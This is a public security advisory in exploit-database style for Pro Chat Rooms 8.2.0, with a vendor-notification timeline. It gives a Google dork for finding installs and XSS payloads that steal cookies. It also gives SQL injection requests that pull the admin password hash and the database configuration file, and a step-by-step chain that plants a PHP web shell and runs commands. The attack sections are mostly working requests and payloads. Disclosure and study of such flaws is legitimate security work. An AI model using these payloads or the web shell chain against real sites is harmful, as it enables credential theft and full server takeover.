Pro Chat Rooms 8.2.0 – Multiple Vulnerabilities
# Exploit Title: Pro Chat Rooms v8.2.0 - Multiple Vulnerabilities # Google Dork: intitle:"Powered by Pro Chat Rooms" # Date: 5 August 2014 # Exploit Author: Mike Manzotti @ Dionach Ltd # Vendor Homepage: http://prochatrooms.com # Software Link: http://prochatrooms.com/software.php # Version: v8.2.0 # Tested on: Debian (Apache+MySQL) 1) Stored XSS =========== Text Chat Room Software of ProoChatRooms is vulnerable to Stored XSS. After registered an account, an attacker can upload a profile picture containing Javascript code as shown below: POST: http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1> Content-Disposition: form-data; name="uploadedfile"; filename="nopic333.jpg" Content-Type: image/jpeg <script>alert(document.cookie)</script> By inspecting the response, the web application returns a 32 digits value in the HTML tag "imgID" as shown below: Response: <input type="hidden" name="imgID" value="798ae9b06cd900b95ed5a60e02419d4b"> The picture is uploaded under the directory "/profiles/uploads" and is accessible by force browsing to the 32 digits value as shown below: http://<WEBSITE>/prochatrooms/profiles/uploads/798ae9b06cd900b95ed5a60e02419d4b<http://%3cWEBSITE%3e/prochatrooms/profiles/uploads/798ae9b06cd900b95ed5a60e02419d4b> 2) Reflected XSS ============= Text Chat Room Software of ProoChatRooms is vulnerable to Reflected XSS. The parameter "edit" is not encoded: http://<WEBSITE>/prochatrooms/profiles/index.php?id=1&edit="><script>alert(document.cookie)</script><http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1&edit=%22%3e%3cscript%3ealert(document.cookie)%3c/script%3e> 3) SQL Injection ============= Text Chat Room Software of ProoChatRooms is vulnerable to SQL injections. Across the all source code of web application, parameterized queries are used to query the database. However, a lack of data sanitization of three parameters leaves the web application vulnerable to SQLi. The vulnerable parameters are located as shown below: prochatrooms_v8.2.0/includes/functions.php: ~2437 $params = array( 'password' => md5($password), 'email' => makeSafe($email), 'id' => $id ); $query = "UPDATE prochatrooms_users SET email = '".$email."', password='".md5($password)."' WHERE id = '".$id."' "; prochatrooms_v8.2.0/includes/functions.php: ~2449 $query = "UPDATE prochatrooms_users SET email = '".$email."' WHERE id = '".$id."' "; prochatrooms_v8.2.0/includes/functions.php: ~3110 $query = "UPDATE prochatrooms_users SET active = '".$offlineTime."', online = '0' WHERE username = '".makeSafe($toname)."' "; Note that the "makeSafe" function is defined as shown below and will protect against XSS attacks only: prochatrooms_v8.2.0/includes/functions.php: ~125 function makeSafe($data) { $data = htmlspecialchars($data); return $data; } After registering an account, an attacker can exploit the SQL injection by editing the field email as shown below which will retrieve the MD5 hashed password of the administrator: POST http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1> Content-Disposition: form-data; name="profileEmail" mm@1dn.eu', email=(select adminLogin from prochatrooms_config) where id ='1';# The following SQL injection will retrieve the SQL connection string, which probably has clear-text database credentials. POST http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1> Content-Disposition: form-data; name="profileEmail" mm@1dn.eu', email=(select load_file('/var/www/prochatrooms/includes/db.php')) where id ='1';# 4) Arbitrary File Upload ================== It is possible to combine the Stored XSS and SQL injection vulnerabilities to upload a web shell on the server. The following request will upload a PHP web shell and the web application will return a 32 digit value. POST: http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1> Content-Disposition: form-data; name="uploadedfile"; filename="m.jpg" Content-Type: application/octet-stream <?php system($_GET[cmd]);?> Response: <input type="hidden" name="imgID" value="82d0635538da4eac42da25f8f95f8c45"> Since the uploaded web shell is without extension it will not be executed: http://<WEBSITE>/prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45<http://%3cWEBSITE%3e/prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45> <?php system($_GET[cmd]);?> Image: [cid:image005.png@01CFB099.8E117F70] However, exploiting the SQL injection it is possible to rename the file by appending a .php extension POST http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1> Content-Disposition: form-data; name="profileEmail" mm@1dn.eu' where id ='1'; SELECT load_file('/var/www/prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45') INTO OUTFILE '/var/www/prochatrooms/profiles/uploads/s.php';# Web shell: http://<WEBSITE>/prochatrooms/profiles/uploads/s.php?cmd=id<http://%3cWEBSITE%3e/prochatrooms/profiles/uploads/s.php?cmd=id> uid=33(www-data) gid=33(www-data) groups=33(www-data) Image: [cid:image006.png@01CFB099.8E117F70] Timeline ======== 19/07/2014: Vendor informed via email 04/08/2014: Vendor informed via email 05/08/2014: Public Disclosure Kind regards, Mike ______________________________________________________________________ Disclaimer: This e-mail and any attachments are confidential. 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